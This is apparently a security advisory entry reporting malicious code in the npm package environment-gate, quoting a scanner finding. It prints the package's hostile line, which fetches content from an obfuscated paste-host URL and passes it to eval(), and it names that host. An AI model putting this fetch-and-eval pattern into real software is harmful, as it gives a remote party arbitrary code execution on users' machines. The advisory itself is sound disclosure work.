MAL-2026-5743
Malicious code in environment-gate (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (48e4ad756dbae70bb38049d363961eb27239c7cf18c6a92612579aeb818da7b1) The package's only export, gate(), performs an HTTP GET to a base64-obfuscated URL (https://www.jsonkeeper.com/b/VKUNI) and passes the response body directly to eval(). The destination is an anonymous, mutable JSON paste host whose contents the author can change at any moment, so any caller of the documented gate() API executes arbitrary remote JavaScript in the installer's Node.js process — full remote code execution. The base64 wrapping of the URL and the cover-story description ('utility to await multiple asynchronous calls') with no repo, empty author field, and a single-file payload are consistent with a throwaway malicious package. index.js line 2: require('axios').get(atob('...')).then(r => {eval(r.data.content)}).
Are you affected?
Enter the version of the package you're using.
Affected packages
No fixed version published yet for environment-gate (npm). Pin to a known-safe version or switch to an alternative.